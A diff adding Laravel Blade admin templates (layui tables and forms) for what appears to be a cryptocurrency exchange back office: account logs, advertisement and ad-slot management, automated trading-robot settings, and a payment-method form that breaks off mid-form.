|
||||
,{field:'transaction_info',title:'交易信息', width:100}
|
||||
,{field:'currency_name',title:'币种', width:100}
|
||||
,{field:'info',title:'记录', minWidth:300}
|
||||
//,{field:'type',title:'类型', width:100}
|
||||
,{field:'created_time',title:'创建时间', width:170}
|
||||
// , {fixed: 'right', title: '操作', width: 150, align: 'center', toolbar: '#barDemo'}
|
||||
]]
|
||||
,parseData: function(res){ //res 即为原始返回的数据
|
||||
$('#statistics').html(res.sum);
|
||||
}
|
||||
});
|
||||
}
|
||||
tbRend("{{url('/admin/account/list')}}");
|
||||
//监听工具条
|
||||
table.on('tool(accountlist)', function (obj) { //注:tool是工具条事件名,test是table原始容器的属性 lay-filter="对应的值"
|
||||
var data = obj.data;
|
||||
var layEvent = obj.event;
|
||||
var tr = obj.tr;
|
||||
|
||||
if (layEvent === 'viewDetail') { //编辑
|
||||
var index = layer.open({
|
||||
title: '查看详情'
|
||||
, type: 2
|
||||
, content: '{{url('admin/account/viewDetail')}}?id=' + data.id
|
||||
, maxmin: true
|
||||
});
|
||||
layer.full(index);
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
</script>
|
||||
@endsection
|
||||
@@ -0,0 +1,36 @@
|
||||
@extends('admin._layoutNew')
|
||||
@section('page-head')
|
||||
|
||||
@stop
|
||||
@section('page-content')
|
||||
<div class="larry-personal-body clearfix">
|
||||
<form class="layui-form col-lg-5">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="nickname" autocomplete="off" class="layui-input layui-disabled" value="{{ $results['account_number'] }}" placeholder="" disabled>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">记录</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="value" autocomplete="off" class="layui-input layui-disabled" value="{{ $results['value'] }}" placeholder="" disabled>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">备注</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="info" autocomplete="off" class="layui-input layui-disabled" value="{{ $results['info'] }}" placeholder="" disabled>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">时间</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="time" autocomplete="off" class="layui-input layui-disabled" value="{{ $results['created_time'] }}" placeholder="" disabled>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
@stop
|
||||
@section('scripts')
|
||||
@stop
|
||||
@@ -0,0 +1,166 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">广告标题</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="title" autocomplete="off" placeholder="" class="layui-input" value="{{$res->title}}" >
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">描述</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="describe" autocomplete="off" placeholder="" class="layui-input" value="{{$res->describe}}" >
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">广告位</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="position_id" lay-filter="aihao">
|
||||
<option value=""></option>
|
||||
@foreach($position as $adsense)
|
||||
|
||||
<option value="{{$adsense['id']}}" @if($res['position_id'] == $adsense['id']) selected @endif>{{$adsense['name']}}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">开始时间</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" id="time1" name="start_time" autocomplete="off" class="layui-input" value="@if(!empty($res->start_time)){{$res->start_time}}@endif" placeholder="" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">结束时间</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" id="time2" name="end_time" autocomplete="off" class="layui-input" value="@if(!empty($res->end_time)){{$res->end_time}}@endif" placeholder="" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">链接</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="url" autocomplete="off" placeholder="" class="layui-input" value="{{$res->url}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">排序</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="sort" autocomplete="off" placeholder="" class="layui-input" value="{{$res->sort}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item layui-form-text">
|
||||
<label class="layui-form-label">广告图片</label>
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" type="button" id="upload_test">选择图片</button>
|
||||
<br>
|
||||
<img src="@if(!empty($res->pic)){{$res->pic}}@endif" id="img_thumbnail" class="thumbnail" style="display: @if(!empty($res->pic)){{"block"}}@else{{"none"}}@endif;max-width: 200px;height: auto;margin-top: 5px;">
|
||||
<input type="hidden" name="pic" id="thumbnail" value="@if(!empty($res->pic)){{$res->pic}}@endif">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<input type="hidden" name="id" value="{{$res->id}}">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="demo1">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
layui.use('upload', function(){
|
||||
var upload = layui.upload;
|
||||
|
||||
//执行实例
|
||||
var uploadInst = upload.render({
|
||||
elem: '#upload_test' //绑定元素
|
||||
,url: '{{URL("api/upload")}}' //上传接口
|
||||
,done: function(res){
|
||||
//上传完毕回调
|
||||
if (res.type == "ok"){
|
||||
$("#thumbnail").val(res.message)
|
||||
$("#img_thumbnail").show()
|
||||
$("#img_thumbnail").attr("src",res.message)
|
||||
} else{
|
||||
alert(res.message)
|
||||
}
|
||||
}
|
||||
,error: function(){
|
||||
//请求异常回调
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
layui.use(['form','laydate'],function () {
|
||||
var form = layui.form
|
||||
,$ = layui.jquery
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name);
|
||||
|
||||
var start={
|
||||
elem:'#time1',
|
||||
type:'date',
|
||||
show:true,
|
||||
closeStop:'#time1'
|
||||
};
|
||||
var end={
|
||||
elem:'#time2',
|
||||
type:'date',
|
||||
show:true,
|
||||
closeStop:'#time2'
|
||||
};
|
||||
|
||||
lay('#time1').on('click',function(){
|
||||
if($('#time2').val() != null && $('#time2').val() !=undefined &&$('#time2').val() !=''){
|
||||
start.max = $('#time2').val();
|
||||
}
|
||||
laydate.render(start);
|
||||
});
|
||||
|
||||
lay('#time2').on('click',function(){
|
||||
if($('#time1').val() != null && $('#time1').val() !=undefined &&$('#time1').val() !=''){
|
||||
end.min = $('#time1').val();
|
||||
}
|
||||
laydate.render(end);
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
//监听提交
|
||||
form.on('submit(demo1)', function(data){
|
||||
var data = data.field;
|
||||
$.ajax({
|
||||
url:'{{url('admin/ad/edit')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,138 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius" id="position_manager">广告位管理</button>
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius" id="add_ad">添加广告</button>
|
||||
|
||||
<!-- <div class="layui-inline">
|
||||
<label class="layui-form-label">广告位置</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="position_id" placeholder="用户手机号或邮箱" autocomplete="off" class="layui-input" value="">
|
||||
</div>
|
||||
<button class="layui-btn btn-search" id="mobile_search" lay-submit lay-filter="mobile_search"> <i class="layui-icon"></i> </button>
|
||||
</div> -->
|
||||
|
||||
<table id="userlist" lay-filter="userlist"></table>
|
||||
|
||||
<script type="text/html" id="barDemo">
|
||||
|
||||
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="edit">编辑</a>
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="delete">删除</a>
|
||||
</script>
|
||||
|
||||
<script type="text/html" id="switchTpl">
|
||||
<input type="checkbox" name="is_show" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="sexDemo" @{{ d.is_show == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
<script type="text/html" id="FcardTpl">
|
||||
<img src="@{{ d.pic }}" width="100" height="100">
|
||||
</script>
|
||||
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
window.onload = function() {
|
||||
document.onkeydown=function(event){
|
||||
var e = event || window.event || arguments.callee.caller.arguments[0];
|
||||
if(e && e.keyCode==13){ // enter 键
|
||||
$('#mobile_search').click();
|
||||
}
|
||||
};
|
||||
layui.use(['element', 'form', 'layer', 'table'], function () {
|
||||
var element = layui.element;
|
||||
var layer = layui.layer;
|
||||
var table = layui.table;
|
||||
var $ = layui.$;
|
||||
var form = layui.form;
|
||||
|
||||
$('#add_ad').click(function(){layer_show('添加广告', '/admin/ad/edit');});
|
||||
$('#position_manager').click(function(){layer_show('广告位管理', '/admin/ad/position_index');});
|
||||
|
||||
form.on('submit(mobile_search)',function(obj){
|
||||
var position_id = $("input[name='position_id']").val();
|
||||
|
||||
tbRend("{{url('/admin/ad/list')}}?position_id="+position_id);
|
||||
return false;
|
||||
});
|
||||
function tbRend(url) {
|
||||
table.render({
|
||||
elem: '#userlist'
|
||||
, url: url
|
||||
, page: true
|
||||
,limit: 20
|
||||
, cols: [[
|
||||
{ field: 'id', title: 'ID', width: 100}
|
||||
|
||||
, {field:'title',title:'标题', width:150}
|
||||
, {field:'describe',title:'描述', width:150}
|
||||
, {field:'pic',title: '广告图片',width: 100,templet:'#FcardTpl'}
|
||||
, {field:'url',title:'链接', width:150}
|
||||
, {field:'start_time',title:'开始时间', width:150}
|
||||
, {field:'end_time',title:'结束时间', width:150}
|
||||
, {field:'position_name',title:'位置', width:100}
|
||||
, {field:'sort',title:'排序', width:100}
|
||||
|
||||
|
||||
,{field:'is_show', title:'是否显示', width:90, templet: '#switchTpl'}
|
||||
|
||||
, {fixed: 'right', title: '操作', width: 280, align: 'center', toolbar: '#barDemo'}
|
||||
]]
|
||||
});
|
||||
}
|
||||
tbRend("{{url('/admin/ad/list')}}");
|
||||
|
||||
//监听操作
|
||||
form.on('switch(sexDemo)', function(obj){
|
||||
var id = this.value;
|
||||
|
||||
$.ajax({
|
||||
url:'{{url('admin/ad/lock')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:id},
|
||||
success:function (res) {
|
||||
layer.msg(res.message);
|
||||
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
//监听工具条
|
||||
table.on('tool(userlist)', function (obj) { //注:tool是工具条事件名,test是table原始容器的属性 lay-filter="对应的值"
|
||||
var data = obj.data;
|
||||
var layEvent = obj.event;
|
||||
var tr = obj.tr;
|
||||
if (layEvent === 'delete') { //删除
|
||||
layer.confirm('真的要删除吗?', function (index) {
|
||||
//向服务端发送删除指令
|
||||
$.ajax({
|
||||
url: "{{url('admin/ad/del')}}",
|
||||
type: 'post',
|
||||
dataType: 'json',
|
||||
data: {id: data.id},
|
||||
success: function (res) {
|
||||
if (res.type == 'ok') {
|
||||
obj.del(); //删除对应行(tr)的DOM结构,并更新缓存
|
||||
layer.close(index);
|
||||
} else {
|
||||
layer.close(index);
|
||||
layer.alert(res.message);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
}else if (layEvent === 'edit'){ //编辑
|
||||
layer_show('编辑广告','{{url('admin/ad/edit')}}?id='+data.id);
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,70 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">名称</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="name" autocomplete="off" placeholder="" class="layui-input" value="{{$res->name}}" >
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">描述</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="describe" autocomplete="off" placeholder="" class="layui-input" value="{{$res->describe}}" >
|
||||
</div>
|
||||
</div>
|
||||
<!-- <div class="layui-form-item">
|
||||
<label class="layui-form-label">是否显示</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="radio" name="is_show" value="1" title="是" @if($res->is_show ==1) checked @endif >
|
||||
<input type="radio" name="is_show" value="0" title="否" @if($res->is_show ==0) checked @endif>
|
||||
</div>
|
||||
</div> -->
|
||||
<input type="hidden" name="id" value="{{$res['id']}}">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="demo1">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
|
||||
|
||||
layui.use(['form','laydate'],function () {
|
||||
var form = layui.form
|
||||
,$ = layui.jquery
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name);
|
||||
//监听提交
|
||||
form.on('submit(demo1)', function(data){
|
||||
var data = data.field;
|
||||
$.ajax({
|
||||
url:'{{url('admin/ad/position_edit')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,116 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius" id="add_position">添加广告位</button>
|
||||
|
||||
<table id="userlist" lay-filter="userlist"></table>
|
||||
|
||||
<script type="text/html" id="barDemo">
|
||||
|
||||
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="edit">编辑</a>
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="delete">删除</a>
|
||||
</script>
|
||||
|
||||
<script type="text/html" id="switchTpl">
|
||||
<input type="checkbox" name="is_show" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="sexDemo" @{{ d.is_show == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
window.onload = function() {
|
||||
document.onkeydown=function(event){
|
||||
var e = event || window.event || arguments.callee.caller.arguments[0];
|
||||
if(e && e.keyCode==13){ // enter 键
|
||||
$('#mobile_search').click();
|
||||
}
|
||||
};
|
||||
layui.use(['element', 'form', 'layer', 'table'], function () {
|
||||
var element = layui.element;
|
||||
var layer = layui.layer;
|
||||
var table = layui.table;
|
||||
var $ = layui.$;
|
||||
var form = layui.form;
|
||||
|
||||
$('#add_position').click(function(){layer_show('添加广告位', '/admin/ad/position_edit');});
|
||||
|
||||
function tbRend(url) {
|
||||
table.render({
|
||||
elem: '#userlist'
|
||||
, url: url
|
||||
, page: true
|
||||
,limit: 20
|
||||
, cols: [[
|
||||
{ field: 'id', title: 'ID', width: 100}
|
||||
|
||||
, {field:'name',title:'名称', width:150}
|
||||
, {field:'describe',title:'描述', width:150}
|
||||
|
||||
, {field:'create_time',title:'添加时间', width:200}
|
||||
|
||||
|
||||
,{field:'is_show', title:'是否显示', width:90, templet: '#switchTpl'}
|
||||
|
||||
, {fixed: 'right', title: '操作', width: 280, align: 'center', toolbar: '#barDemo'}
|
||||
]]
|
||||
});
|
||||
}
|
||||
tbRend("{{url('/admin/ad/position_list')}}");
|
||||
|
||||
//监听是否显示操作
|
||||
form.on('switch(sexDemo)', function(obj){
|
||||
var id = this.value;
|
||||
|
||||
$.ajax({
|
||||
url:'{{url('admin/ad/position_show')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:id},
|
||||
success:function (res) {
|
||||
layer.msg(res.message);
|
||||
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
//监听工具条
|
||||
table.on('tool(userlist)', function (obj) { //注:tool是工具条事件名,test是table原始容器的属性 lay-filter="对应的值"
|
||||
var data = obj.data;
|
||||
var layEvent = obj.event;
|
||||
var tr = obj.tr;
|
||||
if (layEvent === 'delete') { //删除
|
||||
layer.confirm('真的要删除吗?', function (index) {
|
||||
//向服务端发送删除指令
|
||||
$.ajax({
|
||||
url: "{{url('admin/ad/position_del')}}",
|
||||
type: 'post',
|
||||
dataType: 'json',
|
||||
data: {id: data.id},
|
||||
success: function (res) {
|
||||
if (res.type == 'ok') {
|
||||
obj.del(); //删除对应行(tr)的DOM结构,并更新缓存
|
||||
layer.close(index);
|
||||
} else {
|
||||
layer.close(index);
|
||||
layer.alert(res.message);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
}else if (layEvent === 'edit'){ //编辑
|
||||
layer_show('编辑广告位','{{url('admin/ad/position_edit')}}?id='+data.id);
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,120 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">卖方账号</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="sell_account" lay-verify="required" autocomplete="off" placeholder="" class="layui-input" value="@if(!empty($result->sell_account)){{$result->sell_account}}@endif">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">买方账号</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="buy_account" lay-verify="required" autocomplete="off" placeholder="" class="layui-input" value="@if(!empty($result->buy_account)){{$result->buy_account}}@endif">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">交易币</label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="currency_id" lay-filter="" lay-search>
|
||||
<option value=""></option>
|
||||
@if(!empty($currencies))
|
||||
@foreach($currencies as $currency)
|
||||
<option value="{{$currency->id}}" @if($currency->id == $result->currency_id) selected @endif>{{$currency->name}}</option>
|
||||
@endforeach
|
||||
@endif
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">法币</label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="legal_id" lay-filter="">
|
||||
<option value=""></option>
|
||||
@if(!empty($currencies))
|
||||
@foreach($legals as $legal)
|
||||
<option value="{{$legal->id}}" @if($legal->id == $result->legal_id) selected @endif>{{$legal->name}}</option>
|
||||
@endforeach
|
||||
@endif
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">价格区间下限</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="min_price" lay-verify="required" autocomplete="off" placeholder="" class="layui-input" value="@if(!empty($result->min_price)){{$result->min_price}}@endif">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">价格区间上限</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="max_price" lay-verify="required" autocomplete="off" placeholder="" class="layui-input" value="@if(!empty($result->max_price)){{$result->max_price}}@endif">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">数量随机下限</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="min_number" lay-verify="required" autocomplete="off" placeholder="" class="layui-input" value="@if(!empty($result->min_number)){{$result->min_number}}@endif">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">数量随机上限</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="max_number" lay-verify="required" autocomplete="off" placeholder="" class="layui-input" value="@if(!empty($result->max_number)){{$result->max_number}}@endif">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">下单频率</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="need_second" lay-verify="required" autocomplete="off" placeholder="" class="layui-input" value="@if(!empty($result->need_second)){{$result->need_second}}@endif">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<input type="hidden" name="id" value="@if(!empty($result->id)){{$result->id}}@endif">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="demo1">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
|
||||
|
||||
layui.use(['form','laydate'],function () {
|
||||
var form = layui.form
|
||||
,$ = layui.jquery
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name);
|
||||
//监听提交
|
||||
form.on('submit(demo1)', function(data){
|
||||
var data = data.field;
|
||||
$.ajax({
|
||||
url:'{{url('admin/auto_add')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,139 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<div style="margin-top: 10px;width: 100%;margin-left: 10px;">
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius" onclick="layer_show('添加机器人','{{url('admin/auto_add')}}')">添加机器人</button>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<script type="text/html" id="switchTpl">
|
||||
<input type="checkbox" name="is_start" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="sexDemo" @{{ d.is_start == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
<script type="text/html" id="legal">
|
||||
@{{d.is_legal==1 ? '<span >'+'是'+'</span>' : '' }}
|
||||
@{{d.is_legal==0 ? '<span >'+'否'+'</span>' : '' }}
|
||||
|
||||
</script>
|
||||
<script type="text/html" id="lever">
|
||||
@{{d.is_lever==1 ? '<span >'+'是'+'</span>' : '' }}
|
||||
@{{d.is_lever==0 ? '<span >'+'否'+'</span>' : '' }}
|
||||
|
||||
</script>
|
||||
|
||||
<table id="demo" lay-filter="test"></table>
|
||||
<script type="text/html" id="barDemo">
|
||||
|
||||
<a class="layui-btn layui-btn-xs" lay-event="edit">编辑</a>
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
|
||||
{{--<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="execute">执行上币脚本</a>--}}
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
|
||||
layui.use(['table','form'], function(){
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
//第一个实例
|
||||
table.render({
|
||||
elem: '#demo'
|
||||
,url: '{{url('admin/auto_list')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: 'ID', Width:60, sort: true}
|
||||
,{field: 'sell_account', title: '卖家', Width:80}
|
||||
,{field: 'buy_account', title: '买家', minWidth:80}
|
||||
,{field: 'currency_name', title: '交易币', minWidth:80}
|
||||
,{field: 'legal_name', title: '法币', minWidth:80}
|
||||
,{field: 'min_price', title: '最低区间', minWidth:80}
|
||||
,{field: 'max_price', title: '最高区间', minWidth:80}
|
||||
,{field: 'min_number', title: '随机最小数量', minWidth:80}
|
||||
,{field: 'max_number', title: '随机最大数量', minWidth:80}
|
||||
,{field: 'need_second', title: '频率(秒)', minWidth:80}
|
||||
,{field: 'create_time', title: '添加时间', minWidth:80}
|
||||
// ,{field: 'type', title: '基于BTC/ETH', minWidth:80, templet: '#typetml'}
|
||||
// ,{field: 'is_legal', title: '是否法币', minWidth:80, templet: '#legal'}
|
||||
// ,{field: 'is_lever', title: '是否杠杆币', minWidth:80, templet: '#level'}
|
||||
|
||||
,{field:'is_start', title:'是否开启', minWidth:85, templet: '#switchTpl', unresize: true}
|
||||
,{title:'操作',minWidth:100,toolbar: '#barDemo'}
|
||||
|
||||
]]
|
||||
});
|
||||
//监听热卖操作
|
||||
form.on('switch(sexDemo)', function(obj){
|
||||
var id = this.value;
|
||||
$.ajax({
|
||||
url:'{{url('admin/auto_start')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:id},
|
||||
success:function (res) {
|
||||
if(res.error != 0){
|
||||
layer.msg(res.message);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
table.on('tool(test)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'del'){
|
||||
layer.confirm('真的删除行么', function(index){
|
||||
$.ajax({
|
||||
url:'{{url('admin/currency_del')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:data.id},
|
||||
success:function (res) {
|
||||
if(res.type == 'error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
obj.del();
|
||||
layer.close(index);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
} else if(obj.event === 'edit'){
|
||||
layer_show('编辑机器人','{{url('admin/auto_add')}}?id='+data.id);
|
||||
} else if (obj.event == 'execute'){
|
||||
layer.confirm('确定执行上币脚本?', function(index){
|
||||
$.ajax({
|
||||
url:'{{url('admin/currency_execute')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:data.id},
|
||||
success:function (res) {
|
||||
layer.msg(res.message);
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
//监听提交
|
||||
form.on('submit(mobile_search)', function(data){
|
||||
var account_number = data.field.account_number;
|
||||
table.reload('mobileSearch',{
|
||||
where:{account_number:account_number},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
return false;
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,111 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">收款方式</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="name" lay-verify="required" autocomplete="off" placeholder="" class="layui-input" value="{{$result->name}}">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">排序</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="number" class="layui-input" id="end_time" name="sort" value="{{$result->sort}}" placeholder="排序为升序">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item layui-form-text">
|
||||
<label class="layui-form-label">logo</label>
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" type="button" id="upload_test">选择图片</button>
|
||||
<br>
|
||||
<img src="
|
||||
@if(!empty($result->logo))
|
||||
{{$result->logo}}
|
||||
@endif"
|
||||
id="img_thumbnail" class="thumbnail"
|
||||
style="display:
|
||||
@if(!empty($result->logo))
|
||||
{{"block"}}
|
||||
@else{{"none"}}
|
||||
@endif;
|
||||
max-width: 200px;
|
||||
height: auto;
|
||||
margin-top: 5px;">
|
||||
<input type="hidden" name="logo" id="thumbnail" value="@if(!empty($result->logo)){{$result->logo}}@endif">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<input type="hidden" name="id" value="{{$result->id}}">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="demo1">立即提交</button>
|
||||
